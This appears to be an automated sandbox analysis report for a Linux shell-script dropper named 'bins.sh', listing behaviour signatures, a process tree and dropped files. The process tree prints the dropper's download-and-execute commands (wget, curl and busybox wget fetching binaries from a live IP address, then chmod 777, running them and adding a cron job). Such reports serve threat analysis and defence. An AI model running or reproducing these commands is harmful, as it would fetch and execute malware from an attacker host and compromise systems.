Analysis

  • max time kernel
    149s
  • max time network
    152s
  • platform
    debian-9_armhf
  • resource
    debian9-armhf-20240418-en
  • resource tags

    arch:armhfimage:debian9-armhf-20240418-enkernel:4.9.0-13-armmp-lpaelocale:en-usos:debian-9-armhfsystem
  • submitted
    20/11/2024, 06:31

General

  • Target
    bins.sh
  • Size 10KB
  • Sample241120-g92l5sseqf
  • SHA256 f1e174b1d227f565f874156a1ed092123bfc4421c41ef3b7eb9f57d85b94a109
  • MD5 SHA1 SHA512 SSDEEP

Malware Config

Signatures

  • Contacts a large (2115) amount of remote hosts 1 TTPs

    This may indicate a network scan to discover remotely running services.

  • Creates a large amount of network flows 1 TTPs

    This may indicate a network scan to discover remotely running services.

  • File and Directory Permissions Modification 1 TTPs 2 IoCs

    Adversaries may modify file or directory permissions to evade defenses.

  • Executes dropped EXE 2 IoCs
  • Renames itself 1 IoCs
  • Creates/modifies Cron job 1 TTPs 1 IoCs

    Cron allows running tasks on a schedule, and is commonly used for malware persistence.

  • Enumerates running processes

    Discovers information about currently running processes on the system

  • Checks CPU configuration 1 TTPs 2 IoCs

    Checks CPU information which indicate if the system is a virtual machine.

  • Reads runtime system information 64 IoCs

    Reads data from /proc virtual filesystem.

  • Writes file to tmp directory 6 IoCs

    Malware often drops required files in the /tmp directory.

Processes

  • /tmp/bins.sh
    /tmp/bins.sh
    1⤵
      PID:650
      • /bin/rm
        /bin/rm bins.sh
        2⤵
          PID:653
        • /usr/bin/wget
          wget http://87.120.125.191/bins/9tgWsRXNHSvAfmuKzfCpZllPLzDrIF1KfO
          2⤵
          • Writes file to tmp directory
          PID:659
        • /usr/bin/curl
          curl -O http://87.120.125.191/bins/9tgWsRXNHSvAfmuKzfCpZllPLzDrIF1KfO
          2⤵
          • Checks CPU configuration
          • Reads runtime system information
          • Writes file to tmp directory
          PID:666
        • /bin/busybox
          /bin/busybox wget http://87.120.125.191/bins/9tgWsRXNHSvAfmuKzfCpZllPLzDrIF1KfO
          2⤵
          • Writes file to tmp directory
          PID:674
        • /bin/chmod
          chmod 777 9tgWsRXNHSvAfmuKzfCpZllPLzDrIF1KfO
          2⤵
          • File and Directory Permissions Modification
          PID:676
        • /tmp/9tgWsRXNHSvAfmuKzfCpZllPLzDrIF1KfO
          ./9tgWsRXNHSvAfmuKzfCpZllPLzDrIF1KfO
          2⤵
          • Executes dropped EXE
          PID:678
        • /bin/rm
          rm 9tgWsRXNHSvAfmuKzfCpZllPLzDrIF1KfO
          2⤵
            PID:680
          • /usr/bin/wget
            wget http://87.120.125.191/bins/yG8bKDQmpDuHT4r35pQAH6uxIO84pP5p3J
            2⤵
            • Writes file to tmp directory
            PID:681
          • /usr/bin/curl
            curl -O http://87.120.125.191/bins/yG8bKDQmpDuHT4r35pQAH6uxIO84pP5p3J
            2⤵
            • Checks CPU configuration
            • Writes file to tmp directory
            PID:686
          • /bin/busybox
            /bin/busybox wget http://87.120.125.191/bins/yG8bKDQmpDuHT4r35pQAH6uxIO84pP5p3J
            2⤵
            • Writes file to tmp directory
            PID:688
          • /bin/chmod
            chmod 777 yG8bKDQmpDuHT4r35pQAH6uxIO84pP5p3J
            2⤵
            • File and Directory Permissions Modification
            PID:689
          • /tmp/yG8bKDQmpDuHT4r35pQAH6uxIO84pP5p3J
            ./yG8bKDQmpDuHT4r35pQAH6uxIO84pP5p3J
            2⤵
            • Executes dropped EXE
            • Renames itself
            • Reads runtime system information
            PID:690
            • /bin/sh
              sh -c "crontab -l"
              3⤵
                PID:692
                • /usr/bin/crontab
                  crontab -l
                  4⤵
                    PID:693
                • /bin/sh
                  sh -c "crontab -"
                  3⤵
                    PID:694
                    • /usr/bin/crontab
                      crontab -
                      4⤵
                      • Creates/modifies Cron job
                      PID:695
                • /bin/rm
                  rm yG8bKDQmpDuHT4r35pQAH6uxIO84pP5p3J
                  2⤵
                    PID:697
                  • /usr/bin/wget
                    wget http://87.120.125.191/bins/CzfY3WCfUcUN1vj8fkEFhkFJAhcGHQbHpV
                    2⤵
                      PID:700

                  Network

                        MITRE ATT&CK Enterprise v15

                        Replay Monitor

                        Loading Replay Monitor...

                        Downloads

                        9tgWsRXNHSvAfmuKzfCpZllPLzDrIF1KfO

                        • Path /tmp/9tgWsRXNHSvAfmuKzfCpZllPLzDrIF1KfO
                        • Size 99KB
                        • SHA256 68e6282ed9046c9e22dbdf051dc03956803a46805f599e8cb9b52b993caa8f1e
                        • MD5 SHA1 SHA512 SSDEEP

                        yG8bKDQmpDuHT4r35pQAH6uxIO84pP5p3J

                        • Path /tmp/yG8bKDQmpDuHT4r35pQAH6uxIO84pP5p3J
                        • Size 119KB
                        • SHA256 94a19b33124cbbc1c570b3338f4dfbb2bf1a9335a72acf22be02a9bb8a323cc9
                        • MD5 SHA1 SHA512 SSDEEP

                        tmp.AxFgTj

                        • Path /var/spool/cron/crontabs/tmp.AxFgTj
                        • Size 210B
                        • SHA256 dcd775322fab75b293464cfa359b9f9450aeec60b448ffbc5494b2c48d1f4668
                        • MD5 SHA1 SHA512